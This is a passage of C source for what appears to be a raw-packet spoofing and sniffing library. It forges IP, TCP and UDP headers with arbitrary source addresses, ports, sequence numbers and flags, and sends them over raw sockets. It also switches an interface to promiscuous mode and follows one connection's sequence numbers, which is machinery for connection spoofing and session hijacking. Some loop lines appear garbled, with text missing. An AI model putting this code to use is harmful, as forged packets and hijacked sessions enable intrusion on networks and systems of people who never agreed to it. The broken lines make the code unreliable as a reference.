seq_nr, ACK_nr; unsigned short offset_flag, window, checksum, urgent; }; struct UDP_header /* The UDP header */ { unsigned short source, destination; unsigned short length, checksum; }; struct pseudo_IP_header /* The pseudo IP header (checksum calc) */ { unsigned long int source, destination; char zero_byte, protocol; unsigned short TCP_UDP_len; }; /* data structure for argument passing */ struct sp_data_exchange { int fd; /* Sh!t from transmit_TCP */ char *data; int datalen; char *source; unsigned short source_port; char *dest; unsigned short dest_port; unsigned long seq, ack; unsigned short flags; char *buffer; /* work buffer */ int IP_optlen; /* IP options length in bytes */ int TCP_optlen; /* TCP options length in bytes */ }; /**************** all functions *******************************************/ void transmit_TCP (int fd, char *sp_data, int sp_ipoptlen, int sp_tcpoptlen, int sp_datalen, char *sp_source, unsigned short sp_source_port, char *sp_dest, unsigned short sp_dest_port, unsigned long sp_seq, unsigned long sp_ack, unsigned short sp_flags); void transmit_UDP (int sp_fd, char *sp_data, int ipoptlen, int sp_datalen, char *sp_source, unsigned short sp_source_port, char *sp_dest, unsigned short sp_dest_port); int get_packet (int rc_fd, char *buffer, int *, unsigned char*); int wait_packet(int,struct sp_wait_packet *,char *, unsigned short,char *, unsigned short, int, int); static unsigned long sp_getaddrbyname(char *); int open_sending (void); int open_receiving (char *, char); void close_receiving (void); void sp_send_packet (struct sp_data_exchange *, unsigned char); void sp_fix_TCP_packet (struct sp_data_exchange *); void sp_fix_UDP_packet (struct sp_data_exchange *); void sp_fix_IP_packet (struct sp_data_exchange *, unsigned char); unsigned short in_cksum(unsigned short *, int ); void rc_sigio (int); void set_filter (char *, unsigned short, char *, unsigned short); /********************* let the games commence ****************************/ static unsigned long sp_getaddrbyname(char *sp_name) { struct hostent *sp_he; int i; if(isdigit(*sp_name)) return inet_addr(sp_name); for(i=0;i<100;i++) { if(!(sp_he = gethostbyname(sp_name))) {printf("WARNING: gethostbyname failure!\n"); sleep(1); if(i>=3) /* always a retry here in this kind of application */ printf("Coudn't resolv hostname."), exit(1); } else break; } return sp_he ? *(long*)*sp_he->h_addr_list : 0; } int open_sending (void) { struct protoent *sp_proto; int sp_fd; int dummy=1; /* they don't come rawer */ if ((sp_fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW))==-1) perror("Couldn't open Socket."), exit(1); #ifdef DEBUG printf("Raw socket ready\n"); #endif return sp_fd; } void sp_send_packet (struct sp_data_exchange *sp, unsigned char proto) { int sp_status; struct sockaddr_in sp_server; struct hostent *sp_help; int HEAD_BASE; /* Construction of destination */ bzero((char *)&sp_server, sizeof(struct sockaddr)); sp_server.sin_family = AF_INET; sp_server.sin_addr.s_addr = inet_addr(sp->dest); if (sp_server.sin_addr.s_addr == (unsigned int)-1) { /* if target not in DOT/number notation */ if (!(sp_help=gethostbyname(sp->dest))) fprintf(stderr,"unknown host %s\n", sp->dest), exit(1); bcopy(sp_help->h_addr, (caddr_t)&sp_server.sin_addr, sp_help->h_length); }; switch(proto) { case 6: HEAD_BASE = TCP_HEAD_BASE; break; /* TCP */ case 17: HEAD_BASE = UDP_HEAD_BASE; break; /* UDP */ default: exit(1); break; }; sp_status = sendto(sp->fd, (char *)(sp->buffer), sp->datalen+HEAD_BASE+IP_HEAD_BASE+sp->IP_optlen, 0, (struct sockaddr *)&sp_server,sizeof(struct sockaddr)); if (sp_status < 0 || sp_status != sp->datalen+HEAD_BASE+IP_HEAD_BASE+sp->IP_optlen) { if (sp_status < 0) perror("Sendto"), exit(1); printf("hmm... Only transmitted %d of %d bytes.\n", sp_status, sp->datalen+HEAD_BASE); }; #ifdef DEBUG printf("Packet transmitted...\n"); #endif } void sp_fix_IP_packet (struct sp_data_exchange *sp, unsigned char proto) { struct IP_header *sp_help_ip; int HEAD_BASE; switch(proto) { case 6: HEAD_BASE = TCP_HEAD_BASE; break; /* TCP */ case 17: HEAD_BASE = UDP_HEAD_BASE; break; /* UDP */ default: exit(1); break; }; sp_help_ip = (struct IP_header *) (sp->buffer); sp_help_ip->verlen = (IP_VERSION << 4) | ((IP_HEAD_BASE+sp->IP_optlen)/4); sp_help_ip->type = 0; sp_help_ip->length = htons(IP_HEAD_BASE+HEAD_BASE+sp->datalen+sp->IP_optlen+sp->TCP_optlen); sp_help_ip->ID = htons(12545); /* TEST */ sp_help_ip->flag_offset = 0; sp_help_ip->TTL = 69; sp_help_ip->protocol = proto; sp_help_ip->source = sp_getaddrbyname(sp->source); sp_help_ip->destination = sp_getaddrbyname(sp->dest); sp_help_ip->checksum=in_cksum((unsigned short *) (sp->buffer), IP_HEAD_BASE+sp->IP_optlen); #ifdef DEBUG printf("IP header fixed...\n"); #endif } void sp_fix_TCP_packet (struct sp_data_exchange *sp) { char sp_pseudo_ip_construct[MTU]; struct TCP_header *sp_help_tcp; struct pseudo_IP_header *sp_help_pseudo; int i; for(i=0;ibuffer+IP_HEAD_BASE+sp->IP_optlen); sp_help_pseudo = (struct pseudo_IP_header *) sp_pseudo_ip_construct; sp_help_tcp->offset_flag = htons( (((TCP_HEAD_BASE+sp->TCP_optlen)/4)<<12) | sp->flags); sp_help_tcp->seq_nr = htonl(sp->seq); sp_help_tcp->ACK_nr = htonl(sp->ack); sp_help_tcp->source = htons(sp->source_port); sp_help_tcp->destination = htons(sp->dest_port); sp_help_tcp->window = htons(0x7c00); /* dummy for now 'wujx' */ sp_help_pseudo->source = sp_getaddrbyname(sp->source); sp_help_pseudo->destination = sp_getaddrbyname(sp->dest); sp_help_pseudo->zero_byte = 0; sp_help_pseudo->protocol = 6; sp_help_pseudo->TCP_UDP_len = htons(sp->datalen+TCP_HEAD_BASE+sp->TCP_optlen); memcpy(sp_pseudo_ip_construct+12, sp_help_tcp, sp->TCP_optlen+sp->datalen+TCP_HEAD_BASE); sp_help_tcp->checksum=in_cksum((unsigned short *) sp_pseudo_ip_construct, sp->datalen+12+TCP_HEAD_BASE+sp->TCP_optlen); #ifdef DEBUG printf("TCP header fixed...\n"); #endif } void transmit_TCP (int sp_fd, char *sp_data, int sp_ipoptlen, int sp_tcpoptlen, int sp_datalen, char *sp_source, unsigned short sp_source_port, char *sp_dest, unsigned short sp_dest_port, unsigned long sp_seq, unsigned long sp_ack, unsigned short sp_flags) { char sp_buffer[1500]; struct sp_data_exchange sp_struct; bzero(sp_buffer,1500); if (sp_ipoptlen!=0) memcpy(sp_buffer+IP_HEAD_BASE,sp_data,sp_ipoptlen); if (sp_tcpoptlen!=0) memcpy(sp_buffer+IP_HEAD_BASE+TCP_HEAD_BASE+sp_ipoptlen, sp_data+sp_ipoptlen,sp_tcpoptlen); if (sp_datalen!=0) memcpy(sp_buffer+IP_HEAD_BASE+TCP_HEAD_BASE+sp_ipoptlen+sp_tcpoptlen, sp_data+sp_ipoptlen+sp_tcpoptlen,sp_datalen); sp_struct.fd = sp_fd; sp_struct.data = sp_data; sp_struct.datalen = sp_datalen; sp_struct.source = sp_source; sp_struct.source_port = sp_source_port; sp_struct.dest = sp_dest; sp_struct.dest_port = sp_dest_port; sp_struct.seq = sp_seq; sp_struct.ack = sp_ack; sp_struct.flags = sp_flags; sp_struct.buffer = sp_buffer; sp_struct.IP_optlen = sp_ipoptlen; sp_struct.TCP_optlen = sp_tcpoptlen; sp_fix_TCP_packet(&sp_struct); sp_fix_IP_packet(&sp_struct, 6); sp_send_packet(&sp_struct, 6); } void sp_fix_UDP_packet (struct sp_data_exchange *sp) { char sp_pseudo_ip_construct[MTU]; struct UDP_header *sp_help_udp; struct pseudo_IP_header *sp_help_pseudo; int i; for(i=0;ibuffer+IP_HEAD_BASE+sp->IP_optlen); sp_help_pseudo = (struct pseudo_IP_header *) sp_pseudo_ip_construct; sp_help_udp->source = htons(sp->source_port); sp_help_udp->destination = htons(sp->dest_port); sp_help_udp->length = htons(sp->datalen+UDP_HEAD_BASE); sp_help_pseudo->source = sp_getaddrbyname(sp->source); sp_help_pseudo->destination = sp_getaddrbyname(sp->dest); sp_help_pseudo->zero_byte = 0; sp_help_pseudo->protocol = 17; sp_help_pseudo->TCP_UDP_len = htons(sp->datalen+UDP_HEAD_BASE); memcpy(sp_pseudo_ip_construct+12, sp_help_udp, sp->datalen+UDP_HEAD_BASE); sp_help_udp->checksum=in_cksum((unsigned short *) sp_pseudo_ip_construct, sp->datalen+12+UDP_HEAD_BASE); #ifdef DEBUG printf("UDP header fixed...\n"); #endif } void transmit_UDP (int sp_fd, char *sp_data, int sp_ipoptlen, int sp_datalen, char *sp_source, unsigned short sp_source_port, char *sp_dest, unsigned short sp_dest_port) { char sp_buffer[1500]; struct sp_data_exchange sp_struct; bzero(sp_buffer,1500); if (sp_ipoptlen!=0) memcpy(sp_buffer+IP_HEAD_BASE,sp_data,sp_ipoptlen); if (sp_data!=NULL) memcpy(sp_buffer+IP_HEAD_BASE+UDP_HEAD_BASE+sp_ipoptlen, sp_data+sp_ipoptlen,sp_datalen); sp_struct.fd = sp_fd; sp_struct.data = sp_data; sp_struct.datalen = sp_datalen; sp_struct.source = sp_source; sp_struct.source_port = sp_source_port; sp_struct.dest = sp_dest; sp_struct.dest_port = sp_dest_port; sp_struct.buffer = sp_buffer; sp_struct.IP_optlen = sp_ipoptlen; sp_struct.TCP_optlen = 0; sp_fix_UDP_packet(&sp_struct); sp_fix_IP_packet(&sp_struct, 17); sp_send_packet(&sp_struct, 17); } /* This routine stolen from ping.c -- HAHAHA!*/ unsigned short in_cksum(unsigned short *addr,int len) { register int nleft = len; register unsigned short *w = addr; register int sum = 0; unsigned short answer = 0; while (nleft > 1) { sum += *w++; nleft -= 2; } if (nleft == 1) { *(u_char *)(&answer) = *(u_char *)w ; sum += answer; } sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); answer = ~sum; return(answer); } /************************* Receiving department ****************************/ int open_receiving (char *rc_device, char mode) { int or_fd; struct sigaction rc_sa; int fcntl_flag; struct ifreq ifinfo; char test; /* create snoop socket and set interface promisc */ if ((or_fd = socket(AF_INET, SOCK_PACKET, htons(0x3)))==-1) perror("Couldn't open Socket."), exit(1); strcpy(ifinfo.ifr_ifrn.ifrn_name,rc_device); if(ioctl(or_fd,SIOCGIFFLAGS,&ifinfo)<0) perror("Couldn't get flags."), exit(1); ifinfo.ifr_ifru.ifru_flags |= IFF_PROMISC; if(ioctl(or_fd,SIOCSIFFLAGS,&ifinfo)<0) perror("Couldn't set flags. (PROMISC)"), exit(1); if(mode&IO_HANDLE) { /* install handler */ rc_sa.sa_handler=rc_sigio; /* we don't use signal() */ sigemptyset(&rc_sa.sa_mask); /* because the timing window is */ rc_sa.sa_flags=0; /* too big... */ sigaction(SIGIO,&rc_sa,NULL); } if(fcntl(or_fd,F_SETOWN,getpid())<0) perror("Couldn't set ownership"), exit(1); if(mode&IO_HANDLE) { if( (fcntl_flag=fcntl(or_fd,F_GETFL,0))<0) perror("Couldn't get FLAGS"), exit(1); if(fcntl(or_fd,F_SETFL,fcntl_flag|FASYNC|FNDELAY)<0) perror("Couldn't set FLAGS"), exit(1); rc_fd_abc123=or_fd; } else { if(mode&IO_NONBLOCK) { if( (fcntl_flag=fcntl(or_fd,F_GETFL,0))<0) perror("Couldn't get FLAGS"), exit(1); if(fcntl(or_fd,F_SETFL,fcntl_flag|FNDELAY)<0) perror("Couldn't set FLAGS"), exit(1); }; }; #ifdef DEBUG printf("Reading socket ready\n"); #endif return or_fd; } /* returns 0 when no packet read! */ int get_packet (int rc_fd, char *buffer, int *TCP_UDP_start,unsigned char *proto) { char help_buffer[MTU]; int pack_len; struct IP_header *gp_IPhead; pack_len = read(rc_fd,help_buffer,1500); if(pack_len<0) { if(errno==EWOULDBLOCK) {pack_len=0;} else {perror("Read error:"); exit(1);} }; if(pack_len>0) { pack_len -= DEV_PREFIX; memcpy(buffer,help_buffer+DEV_PREFIX,pack_len); gp_IPhead = (struct IP_header *) buffer; if(proto != NULL) *proto = gp_IPhead->protocol; if(TCP_UDP_start != NULL) *TCP_UDP_start = (gp_IPhead->verlen & 0xF) << 2; } return pack_len; } void wait_packet_timeout (int sig) { alarm(0); WAIT_PACKET_WAIT_TIME=1; } int wait_packet(int wp_fd,struct sp_wait_packet *ret_values, char *wp_source, unsigned short wp_source_port, char *wp_dest, unsigned short wp_dest_port, int wp_flags, int wait_time) { char wp_buffer[1500]; struct IP_header *wp_iphead; struct TCP_header *wp_tcphead; unsigned long wp_sourcel, wp_destl; int wp_tcpstart; char wp_proto; wp_sourcel=sp_getaddrbyname(wp_source); wp_destl=sp_getaddrbyname(wp_dest); WAIT_PACKET_WAIT_TIME=0; if(wait_time!=0) { signal(SIGALRM,wait_packet_timeout); alarm(wait_time); } while(1) { while(get_packet(wp_fd, wp_buffer, &wp_tcpstart, &wp_proto)<=0) { if (WAIT_PACKET_WAIT_TIME!=0) {alarm(0); return -1;} }; if(wp_proto == 6) { wp_iphead= (struct IP_header *) wp_buffer; wp_tcphead= (struct TCP_header *) (wp_buffer+wp_tcpstart); if( (wp_sourcel==wp_iphead->source)&&(wp_destl==wp_iphead->destination) ) { if( (ntohs(wp_tcphead->source)==wp_source_port) && (ntohs(wp_tcphead->destination)==wp_dest_port) ) { if( (wp_flags==0) || (ntohs(wp_tcphead->offset_flag)&wp_flags) ) { ret_values->seq=ntohl(wp_tcphead->seq_nr); ret_values->ack=ntohl(wp_tcphead->ACK_nr); ret_values->flags=ntohs(wp_tcphead->offset_flag)& (URG|ACK|PSH|FIN|RST|SYN); ret_values->datalen = ntohs(wp_iphead->length) - ((wp_iphead->verlen & 0xF) << 2) - ((ntohs(wp_tcphead->offset_flag) & 0xF000) >> 10); alarm(0); return 0; } } } } } /*impossible to get here.. but anyways*/ alarm(0); return -1; } void close_receiving (void) { close(rc_fd_abc123); } void rc_sigio (int sig) /* Packet handling routine */ { char rc_buffer[1500]; char packet_id [50]; unsigned char *rc_so, *rc_dest; struct IP_header *rc_IPhead; struct TCP_header *rc_TCPhead; int pack_len; if(RC_FILTSET==0) return; if(SP_DATA_BUSY!=0) /* skip this packet */ return; pack_len = read(rc_fd_abc123,rc_buffer,1500); rc_IPhead = (struct IP_header *) (rc_buffer + DEV_PREFIX); if(rc_IPhead->protocol!=6) return; /* if not TCP */ rc_TCPhead = (struct TCP_header *) (rc_buffer + DEV_PREFIX + ((rc_IPhead->verlen & 0xF) << 2)); rc_so = (unsigned char *) &(rc_IPhead->source); rc_dest = (unsigned char *) &(rc_IPhead->destination); sprintf(packet_id,"%u.%u.%u.%u.%u-%u.%u.%u.%u.%u", rc_so[0],rc_so[1],rc_so[2],rc_so[3],ntohs(rc_TCPhead->source), rc_dest[0],rc_dest[1],rc_dest[2],rc_dest[3],ntohs(rc_TCPhead->destination)); if(strcmp(packet_id,rc_filter_string)==0) { SP_DATA_BUSY=1; CUR_SEQ = ntohl(rc_TCPhead->seq_nr); CUR_ACK = ntohl(rc_TCPhead->ACK_nr); CUR_FLAGS = ntohs(rc_TCPhead->offset_flag); CUR_DATALEN = ntohs(rc_IPhead->length) - ((rc_IPhead->verlen & 0xF) << 2) - ((ntohs(rc_TCPhead->offset_flag) & 0xF000) >> 10); CUR_COUNT++; SP_DATA_BUSY=0; } } void set_filter (char *f_source, unsigned short f_source_port, char *f_dest, unsigned short f_dest_port) { unsigned char *f_so, *f_des; unsigned long f_sol, f_destl; RC_FILTSET=0; if(DEV_PREFIX==9999) fprintf(stderr,"DEV_PREFIX not set!\n"), exit(1); f_sol = sp_getaddrbyname(f_source); f_destl = sp_getaddrbyname(f_dest); f_so = (unsigned char *) &f_sol; f_des = (unsigned char *) &f_destl; sprintf(rc_filter_string,"%u.%u.%u.%u.%u-%u.%u.%u.%u.%u", f_so[0],f_so[1],f_so[2],f_so[3],f_source_port, f_des[0],f_des[1],f_des[2],f_des[3],f_dest_port); RC_FILTSET=1; }